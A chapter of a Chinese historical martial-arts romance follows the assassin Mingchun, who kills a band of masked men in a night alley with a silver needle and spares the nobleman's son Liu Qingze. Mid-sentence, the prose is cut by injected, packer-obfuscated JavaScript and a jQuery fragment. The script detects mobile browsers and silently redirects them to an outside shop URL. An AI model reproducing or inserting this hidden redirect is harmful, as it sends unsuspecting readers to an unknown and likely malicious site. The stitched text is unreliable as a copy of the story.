“明春,替我去营里送封信。”
上京城的夜不比当年在扬州那般安静。
在扬州时戌时一至,小贩和游巷的人家都陆陆续续收起摊子,带着自家的孩子回了家,关了门,没多久便熄了灯火,整条街巷陷入黑沉暗涡一般的死寂。
上京总归是和扬州不一样的,哪怕亥时时分,街上仍旧灯火通明,人来人往,潮息潮涌。
明春方从营中出来,将军府在东街口,驻扎的营地在南街靠近城门口,她只得先从北街口绕回东街。
纵使街上灯火相连,此起彼伏的吆喝和谈笑声不绝于耳,这繁盛的上京好似将全貌尽数展现在了每个人的眼前。
绕到一条小路,耳边的喧嚣声渐渐弱了下来,逐渐变得狭窄阴暗,不过却是回到将军府最近的一条路线。
小路的行人稀疏伶仃,越往前走越是瞧不见人影。
若是换作寻常人,莫说是姑娘家家,便是及冠之年的公子也会顿觉害怕,再不敢向前走定会转身就跑。
像是这样的地势,多的是在暗地蛰伏的恶霸或是见色见财起意的流氓之辈,故而很少有人会走到这处,便是要走也定会挑在日头高盛时。
明春却非寻常人,心觉平静,只身一人在这条小路愈走愈深,到最后身边空无一人。
“受死吧!”高喝声在逼仄的暗巷响起,下一刻泛着银光的匕首从明春眼前一闪而过。
明春神色一凛,顿住脚步,充斥冷意杀戮气息的匕首从她面前划过,在空中化出一道令人胆寒的厉光。
明春顺着匕首的源头看去,一个青年脚步踉踉跄跄的从暗巷跑了出来,姿态极为狼狈,原本洁净一丝不苟的华丽衣袍染上了灰色尘埃,还混杂着深色泥土,发丝也凌乱的在空中飞舞,几缕青丝因为额边汗水湿哒哒的粘在脸颊旁。
柳清则好不容易从暗巷逃了出来,一出来就看见外头站着一位身着青绿色窄袖的女子,几乎是下意识的大喊,“姑娘快走!”
紧跟在他身后的黑衣人皆是蒙着面的,一身夜行衣,打扮严实,分明就是不想让旁人认出他们的身份。
“还有帮手?”身后一个黑衣人冷声开口,只一个眼神,身后几把利刃从柳清则身上转向了明春。
利刃在眼前逼近,她旋身到一侧,冷光擦过脸庞,垂落在双侧的手在袖中陡然一转,下一瞬猛然抬手,那名近身的黑衣人登时没了气息,唯有脖颈间留有一道极浅的血痕,而血痕处的伤口血如喷柱,一下便夺了那人的性命。
明春动作未收,戛然间那黑衣人的头子眼尖瞧见了这女子指尖的一抹寒光,不是匕首,也不是短剑,似乎只是.....一根短针。
一根短针竟能在瞬息间夺人性命,此人功夫绝对不简单。
一时间,追在身后的黑衣人不敢再轻举妄动。
柳清则原先是想让明春赶紧离开此地,毕竟他心中不愿旁人因他受了伤害,可如今再看这姑娘一人的功夫便在这群杀手之上。
他趁身后人愣神之际,迅速跑到了明春身侧,才松了一口气,心中惊怕不已还不忘称赞一句,“女侠,好功夫。”
明春侧眸看他,只觉这人眼熟又让人心烦的很,她不过是想回快些将军府才走的这条小道,也不知是从哪冒出的莫名的杀手和被追杀的公子哥。
而这公子哥看起来似乎又很眼熟,好像不久前在哪见过。
若是可以,她真想转头一走了之,早知道直接离去了也省得在这被人绊住脚。
“老大,咱还要上吗?”另一个黑衣人嘀咕问出声。
普天之下,仅用一根银针便能瞬息杀死一人,他从未见过,要说真的在哪见过,像明春这般手法多是刺客的暗器手法。
和他们不一样,是那些个训练有素,多为皇室贵族专门培养的死士刺客,他们可以以万物为武器,一片叶子一支墨笔,亦或是一根银针。
做他们这一行的,明面上未明说,可打心底都默认要是哪一日真遇上了这种刺客,必须速速离开。
面前的女子乌发如瀑,松松编成一条垂落腰侧的麻花辫,发间错落别着几枚粉玉雕成的小花扣,髻间斜簪着几枝浅粉玉兰花,整个人看起来娇俏又无害。
要是她刚刚没有出手杀死那名杀手或许足以让人信服。
出手时的果断狠厉,招式凌厉不见血,真真叫他们生了退却之意。
可又想起那位夫人的嘱托,那黑衣头子咬咬牙,“我就不信了,一群人还对付不了一个臭娘们,给我上!”
一声令下,身后黑衣人尽数涌出,招招致命。
明春眼眸微眯,一把将身边碍事的柳清则推到一旁,手势一转,银针彻底暴露在外,只身迎了上去。
再说这边柳清则一个不稳,险些被推倒在地,幸而身手平稳还算看得过去,才堪堪稳住了身形,没丢掉面子。
黑衣人下手没有丝毫留情,每一招尽是朝她的死穴,明春身子小巧灵活穿梭在人群,尽数躲掉了他们的招式,手起刀落,银针割破了一个又一个近身来的黑衣人的脖子,所经之处,血流成河。
多年沉睡的记忆好似在此刻被唤醒,明春一改往常在外的温顺恭敬,面色冷静如潭中死水,便是巨石沉落也无法掀起半分波澜,可手里的动作熟练狠辣,一招取其一人性命。
柳清则在身后看的一时呆住了,他还是头一次见这般杀人不眨眼的姑娘。
活脱脱的阎王在世。
那黑衣头子见事态不妙,也不管那人的嘱咐威胁了,脑子里只有一个想法。
跑,快跑!
此时再不跑,这个疯女人一定会把他们所有人都杀死的。
他的确很有先见之明,可终究是晚了。
在他转身欲逃的那一刻,明春便已突破重重人群站立在他身后了。
那人顿觉不对,才一回头,只感脖颈一凉,他惊楞张了张嘴,更多的血从脖间喷涌而出。
双手抚上那处伤口,张了张嘴,心里满是后悔,恐惧。
可一切都来不及了。
明春逆着月光,月白色的光洒落在她的身后,眼底的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634091|206502||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
冰凉和杀气如从地狱爬出的恶鬼,她启唇冷言,“可惜了,你还是跑慢了一步。”
要是从一开始这群黑衣人便离开,或许她不会深追到底,可惜了,她的手上已然染上了他们人的鲜血,那就只能斩草除根。
不对。
她转过身子,死死盯着在暗处看的出神的柳清则。
还有一个人。
明春指尖捻着那根方才杀过人的银针,针尖上还隐约残留着血滴,她脚步极轻极慢,看向柳清则的眼神里仿佛盯着猎物,势在必得。
暗巷里,充斥着浓烈的血腥气,鲜血流了一地,脏污了青石板,明春走近了些,指尖银针一旋,刚想刺破面前人的脖颈。
忽然间,云雾拨开见月,银白色的月华倾斜尽数落在了小巷里,柳清则的面容被映照清楚,千钧一发,明春看清了他的样貌,猛然收回手,脚步后退半步。
心中不免庆幸却也疑惑。
被追杀的人竟是御史中丞的儿子,她误打误撞救下的人竟然是柳清则。
明春庆幸之余还有些晦气。
眼下好了,他是御史中丞的儿子自然是不好动手的,幸而今早上遇见过知晓他的身份,否则今夜他就得和那些无名刺客横尸在此。
明春收回银针,转身欲走,却被身后人一把叫住。
“女侠。”柳清则浑然不觉方才她强烈的杀意,一脸崇拜开口,“今日多谢女侠出手相救,不知女侠姓甚名谁,来日我也好登门拜谢。”
明春冷静下来,不愿与他多言,冷冷道,“不必了,你要有那闲心思不如处理好这些尸体。”
她说的话在理。
这处街巷夜晚时分极少有人走过,可等太阳东升,小贩们再度摆摊,街口又要变得人潮湍急,热闹非常,不免会有人发现这一地尸首,届时事态闹大牵扯到将军府便是得不偿失。
言罢,明春片刻也不愿久留,大步离开,直到身影彻底消失在暗色,柳清则还没回过神。
“柳公子。”自暗风里响起一道声音,禾风堪堪来迟,余光瞥见满地的尸体鲜血,不由一惊,“这是怎么回事?”
他自然不觉得是柳清则一人所为,凭他自己的本事能从这么多刺客手中逃生已是万幸,遑论把人都杀了。
“禾风,我觉得我好像一见钟情了。”柳清则神色未变,目光仍留在明春离去的那个方向。
禾风无语:“公子还是先回国公府吧,这里属下来处理就好。”
柳清则‘哦’了两声,念念不舍别开目光,“依你的吧,我先回国公府。”
禾风大手朝后一挥,身后全是劲装侍卫的打扮的人,得了令立马上前将尸体尽数拖了下去,动作迅捷如风。
“柳公子咱们走吧。”禾风身子侧过,将前边的路让了开。
两人离开后,暗巷里的狼藉不过半刻便收拾完了,空气中还残留着淡淡的血腥味,除此无人能瞧出在这窄小的暗巷里发生过什么?
晚间的风簌簌落来,带来的是桥湖边桂花的香气,淡去了巷道的血气。